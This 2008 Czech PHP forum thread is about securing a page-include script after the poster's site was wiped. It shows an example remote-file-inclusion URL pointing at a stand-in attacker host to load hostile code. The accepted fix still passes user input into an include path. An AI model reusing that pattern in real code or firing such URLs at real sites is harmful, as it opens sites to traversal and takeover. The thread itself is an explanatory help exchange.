| Autor | Zpráva | ||
|---|---|---|---|
| ralfz Profil * |
#1 · Zasláno: 30. 8. 2008, 16:12:12
Ahoj, prave delam novy web, stary me nekdo smazal kvuli nebezpecne inclusi.
Chtel bych to ted mit dobre bezpecne, nasel jsem doporuceni na tento kod: include './'.$_GET['page'].'.php'; Na web jsem si to upravil takto: <?php if (file_exists('./'.$_GET['page'].'.txt')) include './'.$_GET['page'].'.txt'; else include "neco.txt"; ?> Jenomze tento kod nefunguje, vypisuje mi toto: Warning: include() [function.include]: Unable to access ./.txt in /home/free/ezin.cz/r/ralfz/root/www/index.php on line 12 Warning: include(./.txt) [function.include]: failed to open stream: No such file or directory in /home/free/ezin.cz/r/ralfz/root/www/index.php on line 12 Warning: include() [function.include]: Failed opening './.txt' for inclusion (include_path='/usr/share/php/smarty/libs:/usr/share/fpdf:/usr/share/p hp/:.') in /home/free/ezin.cz/r/ralfz/root/www/index.php on line 12 Muzete mi nekdo poradit, co s tim? Diky moc |
||
| Alphard Profil |
#2 · Zasláno: 30. 8. 2008, 16:53:57
„...Unable to access ./.txt in /home/free...“
$_GET['page'] je prázdná, další warningy jsou jen důsledky této chyby |
||
| ralfz Profil * |
#3 · Zasláno: 30. 8. 2008, 17:02:11
jenze kdyz je page prazdna, tak neni splnena podminka file_exist a ma se includovat neco.txt ne?
|
||
| Alphard Profil |
#4 · Zasláno: 30. 8. 2008, 17:13:54
ralfz
pravda, ze zvyku jsem vysvětloval chybovou hlášku, toto mi uniklo nicméně, ta chybová hláška mluví jasně, snažíte se includovat .txt, což je divné, nemohu najít chybu, zkusil jsem i váš script a kromě předpokládaného Undefined index: page in funguje skutečně tam nemáte nějaký jiný kód? přesně tento? zkuste tohle: <?php
if (isset ($_GET['page']) && file_exists('./'.$_GET['page'].'.txt'))
include './'.$_GET['page'].'.txt';
else
include "neco.txt";
?>jediná věc, která mě napadá, je, že tam existuje soubor .txt, ale s takovými právy, že není možné ho includovat |
||
| ralfz Profil * |
#5 · Zasláno: 30. 8. 2008, 17:36:35
diky za pomoc, ten vas kod bezi jak ma
|
||
| Alphard Profil |
#6 · Zasláno: 30. 8. 2008, 18:23:58
„diky za pomoc, ten vas kod bezi jak ma“
jak se to vezme, pokud je problém s file_exists(), tak při podstrčení špatné hodnoty do $page může problém znovu vyvstat a možná i ohrozit bezpečnost, v každém případě doporučuji hledat příčinu |
||
| lama na kvadrát Profil * |
#7 · Zasláno: 30. 8. 2008, 23:38:44
Dobrý den, mohu se zeptat v čem je funkce include nebezpečná? Chtěl jsem použít na mých jednoduchých stránkách
[code]<html> ... <?php include ("soubor") ?> ... </html>[/code] pro vkládání hlavičky, menu a patičky, a teď čtu, že se to má dělat jinak a ne dle návodu na JPW - skládání stránky z kousků. Díky za objasnění. |
||
| Alphard Profil |
#8 · Zasláno: 31. 8. 2008, 00:03:45
include není až tak funkce, ale o to teď nejde
samo o sobě nebezpečné není, ale nebezpeční jsou programátoři :-) includování hlavičky stylem include "head.html"; je bezpečné, protože je pevně napsaná (naše) stránka problém nastává při includování těla neošetřeným vstupem include $_GET['page']; zde nemáme kontrolu nad includovaným souborem, útočník může zavolat nase-stranka.cz?page=http://utocnikova-stranka.com/prevezmi_kontrolu.t xt pokud není zakázané allow_url_fopen, includuje se cizí script a útočník si na našem webu může dělat cokoliv |
||
|
Časová prodleva: 18 let
|
|||
0